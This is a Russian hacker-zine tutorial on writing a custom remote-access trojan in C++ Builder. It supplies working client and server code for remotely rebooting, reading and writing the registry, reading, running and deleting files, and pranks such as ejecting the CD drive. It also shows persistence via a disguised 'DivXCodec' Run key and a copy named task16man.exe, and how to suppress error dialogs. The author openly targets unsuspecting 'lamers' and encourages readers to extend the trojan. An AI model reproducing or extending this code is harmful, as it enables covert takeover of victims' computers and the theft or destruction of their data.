Автор : Lexxxa
Ко
дню рождения сайта www.mazafaka.ru
посвящяется
HI/low, dear fri3ndz!
Сегодня мы будем учиться писать троянчик.
Небольшой, но СВОЙ! Почему? Конечно-конечно, троянов в сети
навалом, но рано или поздно они =вдруг= начинают определяться
антивирусами, приходиться ждать апдейта етц... Ожидание -
самый скучный повод. Не знаю как вы, но я ждать не люблю, да и
использовать чужие трояны это совсем не по-}{аЦкERR'ски.
Короче, пишем свой троян и точка.
После точки, как учили в школе, пишем с большой
буквы... Так вот, о чем я? Писать я буду, как обычно, на своем
любимом Builder C++. Если у вас руки растут не оттуда, откуда
у меня ноги, то без проблем все переделаете под Дельфи, если
припрет конечно...
Естественно, наш троян будет состоять из 2х
частей =) Серверной (отправляемой как подарок ламерюге) и
клиентской (оставим себе на память). Надо сказать, что я давно
не юзал никакие трояны, так что не знаю что там сейчас они
умеют делать, может уже и коврик под мышкой научились двигать
или корпус компа открывать. Мы же пишем "троянчик", поэтому
делать он будет только следующее:
1) читать, удалять,
запускать файлы на удаленном компьютере
2) работать с
реестром на удаленном компьютере
3) ну и традиционный
набор разных бесполезных функций, типа открытие CD-ROM'a,
смена клавишей мышки etc.
Перекурили и поехали!
Использовать будем
стандартные компоненты TClientSocket и TServerSocket.
Начнем с клиента. Набрасываем простенький
интерфейс и приступаем к реализации. Управлять удаленным
компьютером будем с помощью специальных команд. Для примера
пускай структура их будет такая:
Nпараметры. N - цифра.
Каждому действию присвоен свой код. Т.е. например 1 -
перезагрузка, 2 - чтение файла и т.д. Главное чтоб было
однозначное соответствие между тем что хотим сделать (команда
передаваемая клиентом) и тем что выполняет программа
(обработка команды на сервере). С этим разобрались. Теперь
параметры. Бывает мало передать только номер команды. Конечно,
чтобы перезагрузить компьютер никаких параметров не надо (хотя
можно и здесь передать параметры в функцию перезагрузки), но
как например реализовать удаление файла не передавая
параметра? Мы передаем команду на удаление файла, но какого?!
Для этого будем использовать параметры. В качестве параметра в
данном случае будет передаваться имя файла. Бывает, что мало
передать один параметр. Например надо прочитать n-строчек из
file.txt. Здесь необходимо передать 2 параметра. В нашем
примере параметры отделяются друг от друга комбинацией "\r\n"
- перевод каретки. Объясняется данная структура тем, что в
сервере мы сначала помещаем полученную команду в TStringList и
потом можем спокойно обращаться к любой строчке этого
TStringList'а через свойство Strings[i], где i-номер строчки,
а соответственно и номер параметра. В общем, это вещи
достаточно очевидные.
Вот так, вроде бы только начав писать клиентскую
часть мы ее уже почти и закончили! Ведь на самом деле ничего
кроме отсылки команд и приема ответов от сервера она делать и
не должна. Для приема ответов просто создадим поле TMemo и
добавим обработчик события OnRead нашего компонента
TClientSocket:
void __fastcall TForm1::TrojControllerRead(TObject *Sender,
TCustomWinSocket *Socket)
{
Memo2->Lines->Add(Socket->ReceiveText());
}
Вот и все. Клиент законен! Переходим к серверу...
Сервер будет чуть пообъемнее. Вначале определимся
с задачами:
1) получение команд
2) их обработка и
выполнение соответствующих действий
3) отсылка ответа
клиенту (должны же мы знать что происходит на сервере)
Реализуем...
Во-первых, никакого визуального оформления
естественно не будет =) Поэтому на форму поместим только 1
компонент: TServerSocket. Инициализацию его проведем в
функции FormCreate(). Хотя можно было бы просто прописать 2
параметра в Object Inspector'е. Но раз уж сделали, так сделали
=)
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
Итак, указали порт, активизировали сокет. Теперь
обрабатываем событие ClientRead, т.е. получение данных
сокетом. Комментирую на примере:
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) { // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
// информируем клиента об этом
}
}
Теперь немного подробнее. Мы пишем специальный
класс TTrojanUtilites, в котором реализуем все
необходимые функции. В RecognizeCommand (String Directive) мы
только отделяем команду от параметров и запускаем необходимые
методы TTrojanUtilites, передавая по необходимости в них
параметры.
Реализация TTrojanUtilites есть то, чем мы сейчас
займемся. Класс оформим в отдельном модуле, не забудьте
подключить его.
Поехали... Во-первых, подключаем #include
<MMSystem.hpp> - необходимо для реализации работы с
CD-ROM'ом. Далее пишем все необходимые методы.
Краткие комментарии на примере:
void TTrojanUtilites::OpenCloseCD()
{
TMCI_Open_Parms OpenParm;
TMCI_Generic_Parms GenParm;
TMCI_Set_Parms SetParm;
Cardinal DI;
OpenParm.dwCallback = 0;
OpenParm.lpstrDeviceType = "CDAudio";
mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm));
DI = OpenParm.wDeviceID;
if (!CDROMOPEN)
{
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm));
CDROMOPEN = true; // открыть
}
else
{
mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm));
CDROMOPEN = false; // закрыть
}
mciSendCommand(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm));
Sock->Socket->Connections[0]->SendText("Выполнено открытие/закрытие CD-ROM");
}
Перезагрузка:
void TTrojanUtilites::RestartMachine()
{
if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0));
Sock->Socket->Connections[0]->SendText("Перезагрузка успешно выполнена.");
}
Вот тут я не отвечаю за все ОСи, перезагрузка-то
будет, но хотелось бы сделать ее как после нажатия кнопки
RESET, а так будет послано сообщение WM_...ENDSESSION etc.
Короче, пробуйте сами. Могу только подкинуть основные
направления поиска: смотри функции ExitWindows(),
ExitWindowsEx(), InitiateSystemShutdown() и
AbortSystemShutdown(). Для особо продвинутых могу предложить
вариант написать надежный ребут под определенную ось и чипсет
=) Например, мой прошлый комп стабильно резетился (только в
Win9x, в NT не работало) следующей вставочкой:
mov dx,0cf9h
mov al,2
out dx,al
mov al,6
out dx,al
Откуда цифры? Читайте доки по чипсету =) Одним
словом, универсального метода перезагрузить комп без
WM_...ENDSESSION я не знаю. Если вы знаете - напишите пару
строк, не в падлу =)
void TTrojanUtilites::SendFile(String F)
{
TStringList* TTSL=new (TStringList);
TStringList* TTSL2=new (TStringList);
int n, i;
TTSL->Text = F;
if (!FileExists(TTSL->Strings[0]))
{
Sock->Socket->Connections[0]->SendText("Файл не существует.");
return;
}
TTSL2->LoadFromFile(TTSL->Strings[0]); // загружаем файл в TStringList
n = TTSL2->Count; // получаем число строк в файле
if (n > StrToInt(TTSL->Strings[1])) // если надо прочитать не весь файл
n = StrToInt(TTSL->Strings[1]); // считываем только необходимое число строк
for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings[i]); // передаем строки клиенту
}
Вроде тут и объяснять нечего.
void TTrojanUtilites::ReadRegistry(ShortString k)
{
TRegistry* reg=new TRegistry;
String res, ts;
TStringList* TTSL=new TStringList;
HKEY k1;
// параметры передаются в следующем порядке:
//// 0 - root key
//// 1 - key name
//// 2 - value name
//// 3 - value
//// 4 - type of value
TTSL->Text = k;
ts = TTSL->Strings[0]; // выбираем RootKey
if (ts == "HKEY_CLASSES_ROOT") k1 = HKEY_CLASSES_ROOT;
if (ts == "HKEY_CURRENT_USER") k1 = HKEY_CURRENT_USER;
if (ts == "HKEY_LOCAL_MACHINE") k1 = HKEY_LOCAL_MACHINE;
if (ts == "HKEY_USERS") k1 = HKEY_USERS;
if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG;
reg->RootKey = k1;
reg->OpenKey(TTSL->Strings[1], true); // открываем раздел
ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа
if (ts == "Bool") // двоичный (REG_BINARY)
if (reg->ReadBool(TTSL->Strings[2]))
res = "true";
else res = "false";
if (ts == "Integer") // числовой (REG_DWORD)
res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));
if (ts == "String") // строковый (REG_SZ)
res = reg->ReadString(TTSL->Strings[2]);
Sock->Socket->Connections[0]->SendText("Чтение реестра. Значение параметра: "+res);
// передаем клиенту значение параметра
}
Запись в реестр аналогична, только используется
метод WriteBool(TTSL->Strings[2], false); для записи
булевского значения, WriteInteger(TTSL->Strings[2],
StrToInt(TTSL->Strings[4])); - для числового,
WriteString(TTSL->Strings[2], TTSL->Strings[4]); - для
строкового.
Для запуска файлов на удаленном компьютере
используем следующую функцию:
void TTrojanUtilites::ExecuteFile(String f)
{
ShellExecute(GetDesktopWindow, "open", f.c_str(), "", "", SW_SHOWNORMAL);
Sock->Socket->Connections[0]->SendText("Запущен файл "+f);
}
Файл запускается в той программе, с которой
ассоциирован запуск данного типа файлов, т.е. вы можете
запускать не толкьо exe, com, bat, но и любые другие файлы.
Html-файл откроется в Explorer'e, Opere, Netscape или еще в
чем-то... Хрен знает чем там ламерюга пользуется... Можете
запустить ему мп3-шку Децла послушать или Бритни какой-нить,
пусть проблюется =)
Идем дальше. Парочка бесполезных функций:
void TTrojanUtilites::HideMouse()
{
ShowCursor(false);
Sock->Socket->Connections[0]->SendText("Курсор мыши скрыт");
}
No commentz...
void TTrojanUtilites::SwapMouseButtons()
{
SwapMouseButton(true);
Sock->Socket->Connections[0]->SendText("Кнопки мыши переключены");
Можно сделать переключение кнопок обратно
(передайте в SwapMouseButton параметр false), но я бы
посоветовал поставить таймер и каждую секунду переключать
кнопки туда-сюда, веселее будет =) В падлу сейчас уже
добавлять, но вкратце это будет так: добавляем TTimer
на форму, устанавливаем необходимый интервал, и в обработчике
события OnTimer прописываем вызов функции
SwapMouseButton с параметром, противоположным прошлому вызову.
Млин, все-таки все расписал =)
Теперь довольно важная функция:
void TTrojanUtilites::DeleteFile(String f)
{
if (!FileExists(f))
{
Sock->Socket->Connections[0]->SendText("Файл не существует.");
return;
}
TRegistry* Reg=new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true);
Reg->WriteString("Filez for delete","command.com /c del "+f);
Reg->CloseKey();
Sock->Socket->Connections[0]->SendText("Файл "+f+" будет удален после перезагрузки.");
}
Данная функция НЕ удаляет файл сразу!!! Это
сделано специально, так как файлы могут использоваться
системой и их удаление возможно только после перезагрузки,
данная функция помечает файл к удалению, а удалиться он только
после перезагрузки, которую вы легко можете вызвать. Да, еще
маленькое примечание: данная функция удаляет только 1 файл,
если вы пометите второй файл к удалению - то будет удален
только он. А первый останется нетронутым... Немного измените
функцию - и можно будет удалять файлы пачками =) Могу еще
добавить немного инфы на случай, если надо будет удалить целый
каталог и вы точно знаете что в нем нет открытых файлов.
Используйте стандартную API функцию SHFileOperation, установив
тип операции wFunc в FO_DELETE. Пример:
int res;
SHFILEOPSTRUCT fo;
ZeroMemory(&fo, sizeof(fo));
fo.hwnd = hwndOwner; // хэндл окна-владельца прогресс-диалога
fo.pFrom = pszFullPath; //путь
fo.wFunc = FO_DELETE;
fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление
res = SHFileOperation(&fo);
Только внимательно все проверьте! Будет обломно
если ламерюга "вдруг" увидит надпись "Папка голые тетки не
может быть удалена, так как юзер активно смотрит сразу 10
порно-фильмов из нее!". А вообще, если опять удалиться в
теорию, то наш главный объект Application имеет
несколько полезных событий, наиболее интересное для нас
OnException происходит тогда, когда в приложении
возникает необработанная исключительная ситуация (деление на
ноль, удаление несуществующего файла etc). По умолчанию,
обработчик этого события вызывает метод ShowException для
отображения окна сообщения с пояснением причины ошибки (оно
нам надо?! конечно, НЕТ!). Но, вы можете изменить реакцию на
событие onException, переписав его обработчик. Тут ничего
трудного нет, просто я не ставил перед собой задачу написать
офигенный троян, только подтолкнуть вас к этому =) Кто захочет
- допишет все необходимое сам, если что - я подскажу =) Ну
вот, вроде бы все функции реализовали. Теперь немного о том,
что мы не сделали =) Мы не сделали: загрузку/закачку файла.
Это все можно сделать подправив SendFile(). Стандартных
функций для пересылки файлов через TClient(Server)Socket я не
нашел, но впрочем, это не проблема - просто передавайте файлы
фрагментами.
Теперь нам осталось только разобраться с
автозагрузкой трояна. Сделаем следующее:
1) при запуске
файл переписывается в папку, в которой установлены
винды.
2) прописываем запуск нашего файла в реестре.
Реализуем =)
void __fastcall TForm1::FormCreate(TObject *Sender)
{
ServSckt->Port = 4321;
ServSckt->Active = true;
Utilz.Sock=ServSckt;
Utilz.CDROMOPEN=false;
String WinDir;
char WinDir1[144];
GetWindowsDirectory(WinDir1,144);
WinDir=WinDir1; // папка с установленными виндами
String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) //если нашу программу стерли из
// автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела)
pReg->WriteString("DivXCodec",WinDir+"\\task16man.exe"); //добавляем ее по новой
if (Application->ExeName!=WinDir+"\\task16man.exe") //если файл запустили 1ый раз
{
if (!FileExists(WinDir+"\\task16man.exe"))
{
String dest=WinDir+"\\task16man.exe";
BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());
// переписываем файл к виндам
ServSckt->Active = false;
ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL); //запускаем его
Application->Terminate(); // это приложение закрываем
}
else
Application->Terminate();
// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз
// запустили и им подобных, додумайте сами =)
}
else
{
ServSckt->Port = 4321;
ServSckt->Active = true;
String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) // не дай бог стерли!
pReg->WriteString("DivXCodec",Application->ExeName); // пишем назад
}
}
В принципе, это все. Троян готов! Конечно, он
тяжеловат, малофункционален etc, НО все это можно исправить,
творите =) Если сделаете что-нибудь интересное - скидывайте, с
радостью опубликуем это для всех. А вообще, я хочу сейчас все
это переделать под API Socket'ы, без всяких компонентов, тогда
и файл exe гораздо меньше станет. Если у кого-нибудь есть
интерес к этому делу - напишите пару строк в мыльницу.
Товарищи ламеры! Внимательно следите теперь за
соединениями по порту 4321 =) Некоторые ведь ничего не
перекомпиливают и не меняют =)
На этом у меня все. Критика, предложения и
100грамм принимаются, мат и наезды отправляются в /dev/null =)
МаЗу с днем рождения!